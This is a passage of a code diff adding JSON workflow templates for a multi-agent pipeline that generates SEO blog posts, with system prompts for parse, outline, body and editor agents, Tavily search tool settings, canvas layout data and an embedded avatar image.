+ "tools": [
+ {
+ "component_name": "TavilySearch",
+ "name": "TavilySearch",
+ "params": {
+ "api_key": "",
+ "days": 7,
+ "exclude_domains": [],
+ "include_answer": false,
+ "include_domains": [],
+ "include_image_descriptions": false,
+ "include_images": false,
+ "include_raw_content": true,
+ "max_results": 5,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "query": "sys.query",
+ "search_depth": "basic",
+ "topic": "general"
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.85,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Outline Agent"
+ },
+ "dragging": false,
+ "id": "Agent:BetterSitesSend",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 613.4368763415628,
+ "y": 164.3074269048589
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "description": "This is an agent for a specific task.",
+ "user_prompt": "This is the order you need to send to the agent."
+ },
+ "label": "Tool",
+ "name": "flow.tool_0"
+ },
+ "dragging": false,
+ "id": "Tool:SharpPensBurn",
+ "measured": {
+ "height": 44,
+ "width": 200
+ },
+ "position": {
+ "x": 580.1877078861457,
+ "y": 287.7669662022325
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "toolNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}\n\n\n\nThe Outline agent output is {Agent:BetterSitesSend@content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Body_Agent**, responsible for generating the full content of each section of an SEO-optimized blog based on the provided outline and keyword strategy.\n\n# Tool Access:\n\nYou can use the `Tavily Search` tool to retrieve relevant content, statistics, or examples to support each section you're writing.\n\nUse it **only** when the provided outline lacks enough information, or if the section requires factual grounding.\n\nAlways cite the original link or indicate source where possible.\n\n\n# Goals\n\n1. Write each section (based on H2/H3 structure) as a complete and natural blog paragraph.\n\n2. Integrate the suggested long-tail keywords naturally into each section.\n\n3. When appropriate, use the `Tavily Search` tool to enrich your writing with relevant facts, examples, or quotes.\n\n4. Ensure each section is clear, engaging, and informative, suitable for both human readers and search engines.\n\n\n# Style Guidelines\n\n- Write in a tone appropriate to the audience. Be explanatory, not promotional, unless it's a marketing blog.\n\n- Avoid generic filler content. Prioritize clarity, structure, and value.\n\n- Ensure SEO keywords are embedded seamlessly, not forcefully.\n\n\n\n- Maintain writing rhythm. Vary sentence lengths. Use transitions between ideas.\n\n\n# Input\n\n\nYou will receive:\n\n- Blog title\n\n- Structured outline (including section titles, keywords, and descriptions)\n\n- Target audience\n\n- Blog type and user intent\n\nYou must **follow the outline strictly**. Write content **section-by-section**, based on the structure.\n\n\n# Output Format\n\n```markdown\n\n## H2: [Section Title]\n\n[Your generated content for this section \u2014 500-600 words, using keywords naturally.]\n\n",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "TavilySearch",
+ "name": "TavilySearch",
+ "params": {
+ "api_key": "",
+ "days": 7,
+ "exclude_domains": [],
+ "include_answer": false,
+ "include_domains": [],
+ "include_image_descriptions": false,
+ "include_images": false,
+ "include_raw_content": true,
+ "max_results": 5,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "query": "sys.query",
+ "search_depth": "basic",
+ "topic": "general"
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Body Agent"
+ },
+ "dragging": false,
+ "id": "Agent:EagerNailsRemain",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 889.0614605692713,
+ "y": 247.00973041799065
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "description": "This is an agent for a specific task.",
+ "user_prompt": "This is the order you need to send to the agent."
+ },
+ "label": "Tool",
+ "name": "flow.tool_1"
+ },
+ "dragging": false,
+ "id": "Tool:WickedDeerHeal",
+ "measured": {
+ "height": 44,
+ "width": 200
+ },
+ "position": {
+ "x": 853.2006404239659,
+ "y": 364.37541577229143
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "toolNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}\n\nThe Outline agent output is {Agent:BetterSitesSend@content}\n\nThe Body agent output is {Agent:EagerNailsRemain@content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Editor_Agent**, responsible for finalizing the blog post for both human readability and SEO effectiveness.\n\n# Goals\n\n1. Polish the entire blog content for clarity, coherence, and style.\n\n2. Improve transitions between sections, ensure logical flow.\n\n3. Verify that keywords are used appropriately and effectively.\n\n4. Conduct a lightweight SEO audit \u2014 checking keyword density, structure (H1/H2/H3), and overall searchability.\n\n\n\n# Style Guidelines\n\n- Be precise. Avoid bloated or vague language.\n\n- Maintain an informative and engaging tone, suitable to the target audience.\n\n- Do not remove keywords unless absolutely necessary for clarity.\n\n- Ensure paragraph flow and section continuity.\n\n\n# Input\n\nYou will receive:\n\n- Full blog content, written section-by-section\n\n- Original outline with suggested keywords\n\n- Target audience and writing type\n\n# Output Format\n\n```markdown\n\n[The revised, fully polished blog post content goes here.]\n\n",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Editor Agent"
+ },
+ "dragging": false,
+ "id": "Agent:LovelyHeadsOwn",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 1160.3332919804993,
+ "y": 149.50806732882472
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "content": [
+ "{Agent:LovelyHeadsOwn@content}"
+ ]
+ },
+ "label": "Message",
+ "name": "Response"
+ },
+ "dragging": false,
+ "id": "Message:LegalBeansBet",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 1370.6665839609984,
+ "y": 267.0323933738015
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "messageNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "This workflow automatically generates a complete SEO-optimized blog article based on a simple user input. You don\u2019t need any writing experience. Just provide a topic or short request \u2014 the system will handle the rest.\n\nThe process includes the following key stages:\n\n1. **Understanding your topic and goals**\n2. **Designing the blog structure**\n3. **Writing high-quality content**\n\n\n"
+ },
+ "label": "Note",
+ "name": "Workflow Overall Description"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 205,
+ "id": "Note:SlimyGhostsWear",
+ "measured": {
+ "height": 205,
+ "width": 415
+ },
+ "position": {
+ "x": -284.3143151688742,
+ "y": 150.47632147913419
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 415
+ },
+ {
+ "data": {
+ "form": {
+ "text": "**Purpose**: \nThis agent reads the user\u2019s input and figures out what kind of blog needs to be written.\n\n**What it does**:\n- Understands the main topic you want to write about \n- Identifies who the blog is for (e.g., beginners, marketers, developers) \n- Determines the writing purpose (e.g., SEO traffic, product promotion, education) \n- Suggests 3\u20135 long-tail SEO keywords related to the topic"
+ },
+ "label": "Note",
+ "name": "Parse And Keyword Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 152,
+ "id": "Note:EmptyChairsShake",
+ "measured": {
+ "height": 152,
+ "width": 340
+ },
+ "position": {
+ "x": 295.04147626768133,
+ "y": 372.2755718118446
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 340
+ },
+ {
+ "data": {
+ "form": {
+ "text": "**Purpose**: \nThis agent builds the blog structure \u2014 just like writing a table of contents before you start writing the full article.\n\n**What it does**:\n- Suggests a clear blog title that includes important keywords \n- Breaks the article into sections using H2 and H3 headings (like a professional blog layout) \n- Assigns 1\u20132 recommended keywords to each section to help with SEO \n- Follows the writing goal and target audience set in the previous step"
+ },
+ "label": "Note",
+ "name": "Outline Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 146,
+ "id": "Note:TallMelonsNotice",
+ "measured": {
+ "height": 146,
+ "width": 343
+ },
+ "position": {
+ "x": 598.5644991893463,
+ "y": 5.801054564756448
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 343
+ },
+ {
+ "data": {
+ "form": {
+ "text": "**Purpose**: \nThis agent is responsible for writing the actual content of the blog \u2014 paragraph by paragraph \u2014 based on the outline created earlier.\n\n**What it does**:\n- Looks at each H2/H3 section in the outline \n- Writes 150\u2013220 words of clear, helpful, and well-structured content per section \n- Includes the suggested SEO keywords naturally (not keyword stuffing) \n- Uses real examples or facts if needed (by calling a web search tool like Tavily)"
+ },
+ "label": "Note",
+ "name": "Body Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 137,
+ "id": "Note:RipeCougarsBuild",
+ "measured": {
+ "height": 137,
+ "width": 319
+ },
+ "position": {
+ "x": 860.4854129814981,
+ "y": 427.2196835690842
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 319
+ },
+ {
+ "data": {
+ "form": {
+ "text": "**Purpose**: \nThis agent reviews the entire blog draft to make sure it is smooth, professional, and SEO-friendly. It acts like a human editor before publishing.\n\n**What it does**:\n- Polishes the writing: improves sentence clarity, fixes awkward phrasing \n- Makes sure the content flows well from one section to the next \n- Double-checks keyword usage: are they present, natural, and not overused? \n- Verifies the blog structure (H1, H2, H3 headings) is correct \n- Adds two key SEO elements:\n - **Meta Title** (shows up in search results)\n - **Meta Description** (summary for Google and social sharing)"
+ },
+ "label": "Note",
+ "name": "Editor Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "height": 146,
+ "id": "Note:OpenTurkeysSell",
+ "measured": {
+ "height": 146,
+ "width": 320
+ },
+ "position": {
+ "x": 1129,
+ "y": -30
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 320
+ }
+ ]
+ },
+ "history": [],
+ "messages": [],
+ "path": [],
+ "retrieval": []
+ },
+ "avatar": "data:image/jpeg;base64,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"
+}
diff --git a/agent/templates/seo_blog.json b/agent/templates/seo_blog.json
new file mode 100644
index 0000000..fb9e4bb
--- /dev/null
+++ b/agent/templates/seo_blog.json
@@ -0,0 +1,919 @@
+{
+ "id": 4,
+ "title": {
+ "en": "Generate SEO Blog",
+ "zh": "生成SEO博客"},
+ "description": {
+ "en": "This workflow automatically generates a complete SEO-optimized blog article based on a simple user input. You don’t need any writing experience. Just provide a topic or short request — the system will handle the rest.",
+ "zh": "此工作流根据简单的用户输入自动生成完整的SEO博客文章。你无需任何写作经验,只需提供一个主题或简短请求,系统将处理其余部分。"},
+ "canvas_type": "Recommended",
+ "dsl": {
+ "components": {
+ "Agent:BetterSitesSend": {
+ "downstream": [
+ "Agent:EagerNailsRemain"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.3,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Balance",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.2,
+ "prompts": [
+ {
+ "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Outline_Agent**, responsible for generating a clear and SEO-optimized blog outline based on the user's parsed writing intent and keyword strategy.\n\n# Tool Access:\n\n- You have access to a search tool called `Tavily Search`.\n\n- If you are unsure how to structure a section, you may call this tool to search for related blog outlines or content from Google.\n\n- Do not overuse it. Your job is to extract **structure**, not to write paragraphs.\n\n\n# Goals\n\n1. Create a well-structured outline with appropriate H2 and H3 headings.\n\n2. Ensure logical flow from introduction to conclusion.\n\n3. Assign 1\u20132 suggested long-tail keywords to each major section for SEO alignment.\n\n4. Make the structure suitable for downstream paragraph writing.\n\n\n\n\n#Note\n\n- Use concise, scannable section titles.\n\n- Do not write full paragraphs.\n\n- Prioritize clarity, logical progression, and SEO alignment.\n\n\n\n- If the blog type is \u201cTutorial\u201d or \u201cHow-to\u201d, include step-based sections.\n\n\n# Input\n\nYou will receive:\n\n- Writing Type (e.g., Tutorial, Informative Guide)\n\n- Target Audience\n\n- User Intent Summary\n\n- 3\u20135 long-tail keywords\n\n\nUse this information to design a structure that both informs readers and maximizes search engine visibility.\n\n# Output Format\n\n```markdown\n\n## Blog Title (suggested)\n\n[Give a short, SEO-friendly title suggestion]\n\n## Outline\n\n### Introduction\n\n- Purpose of the article\n\n- Brief context\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 1]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 2]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 3]\n\n- [Optional H3 Subsection Title A]\n\n - [Explanation of sub-point]\n\n- [Optional H3 Subsection Title B]\n\n - [Explanation of sub-point]\n\n- **Suggested keywords**: [keyword1]\n\n### Conclusion\n\n- Recap key takeaways\n\n- Optional CTA (Call to Action)\n\n- **Suggested keywords**: [keyword3]\n\n",
+ "temperature": 0.5,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "TavilySearch",
+ "name": "TavilySearch",
+ "params": {
+ "api_key": "",
+ "days": 7,
+ "exclude_domains": [],
+ "include_answer": false,
+ "include_domains": [],
+ "include_image_descriptions": false,
+ "include_images": false,
+ "include_raw_content": true,
+ "max_results": 5,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "query": "sys.query",
+ "search_depth": "basic",
+ "topic": "general"
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.85,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "Agent:ClearRabbitsScream"
+ ]
+ },
+ "Agent:ClearRabbitsScream": {
+ "downstream": [
+ "Agent:BetterSitesSend"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Parse_And_Keyword_Agent**, responsible for interpreting a user's blog writing request and generating a structured writing intent summary and keyword strategy for SEO-optimized content generation.\n\n# Goals\n\n1. Extract and infer the user's true writing intent, even if the input is informal or vague.\n\n2. Identify the writing type, target audience, and implied goal.\n\n3. Suggest 3\u20135 long-tail keywords based on the input and context.\n\n4. Output all data in a Markdown format for downstream agents.\n\n# Operating Guidelines\n\n\n- If the user's input lacks clarity, make reasonable and **conservative** assumptions based on SEO best practices.\n\n- Always choose one clear \"Writing Type\" from the list below.\n\n- Your job is not to write the blog \u2014 only to structure the brief.\n\n# Output Format\n\n```markdown\n## Writing Type\n\n[Choose one: Tutorial / Informative Guide / Marketing Content / Case Study / Opinion Piece / How-to / Comparison Article]\n\n## Target Audience\n\n[Try to be specific based on clues in the input: e.g., marketing managers, junior developers, SEO beginners]\n\n## User Intent Summary\n\n[A 1\u20132 sentence summary of what the user wants to achieve with the blog post]\n\n## Suggested Long-tail Keywords\n\n- keyword 1\n\n- keyword 2\n\n- keyword 3\n\n- keyword 4 (optional)\n\n- keyword 5 (optional)\n\n\n\n\n## Input Examples (and how to handle them)\n\nInput: \"I want to write about RAGFlow.\"\n\u2192 Output: Informative Guide, Audience: AI developers, Intent: explain what RAGFlow is and its use cases\n\nInput: \"Need a blog to promote our prompt design tool.\"\n\u2192 Output: Marketing Content, Audience: product managers or tool adopters, Intent: raise awareness and interest in the product\n\n\n\nInput: \"How to get more Google traffic using AI\"\n\u2192 Output: How-to, Audience: SEO marketers, Intent: guide readers on applying AI for SEO growth",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "begin"
+ ]
+ },
+ "Agent:EagerNailsRemain": {
+ "downstream": [
+ "Agent:LovelyHeadsOwn"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}\n\n\n\nThe Outline agent output is {Agent:BetterSitesSend@content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Body_Agent**, responsible for generating the full content of each section of an SEO-optimized blog based on the provided outline and keyword strategy.\n\n# Tool Access:\n\nYou can use the `Tavily Search` tool to retrieve relevant content, statistics, or examples to support each section you're writing.\n\nUse it **only** when the provided outline lacks enough information, or if the section requires factual grounding.\n\nAlways cite the original link or indicate source where possible.\n\n\n# Goals\n\n1. Write each section (based on H2/H3 structure) as a complete and natural blog paragraph.\n\n2. Integrate the suggested long-tail keywords naturally into each section.\n\n3. When appropriate, use the `Tavily Search` tool to enrich your writing with relevant facts, examples, or quotes.\n\n4. Ensure each section is clear, engaging, and informative, suitable for both human readers and search engines.\n\n\n# Style Guidelines\n\n- Write in a tone appropriate to the audience. Be explanatory, not promotional, unless it's a marketing blog.\n\n- Avoid generic filler content. Prioritize clarity, structure, and value.\n\n- Ensure SEO keywords are embedded seamlessly, not forcefully.\n\n\n\n- Maintain writing rhythm. Vary sentence lengths. Use transitions between ideas.\n\n\n# Input\n\n\nYou will receive:\n\n- Blog title\n\n- Structured outline (including section titles, keywords, and descriptions)\n\n- Target audience\n\n- Blog type and user intent\n\nYou must **follow the outline strictly**. Write content **section-by-section**, based on the structure.\n\n\n# Output Format\n\n```markdown\n\n## H2: [Section Title]\n\n[Your generated content for this section \u2014 500-600 words, using keywords naturally.]\n\n",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "TavilySearch",
+ "name": "TavilySearch",
+ "params": {
+ "api_key": "",
+ "days": 7,
+ "exclude_domains": [],
+ "include_answer": false,
+ "include_domains": [],
+ "include_image_descriptions": false,
+ "include_images": false,
+ "include_raw_content": true,
+ "max_results": 5,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "query": "sys.query",
+ "search_depth": "basic",
+ "topic": "general"
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "Agent:BetterSitesSend"
+ ]
+ },
+ "Agent:LovelyHeadsOwn": {
+ "downstream": [
+ "Message:LegalBeansBet"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
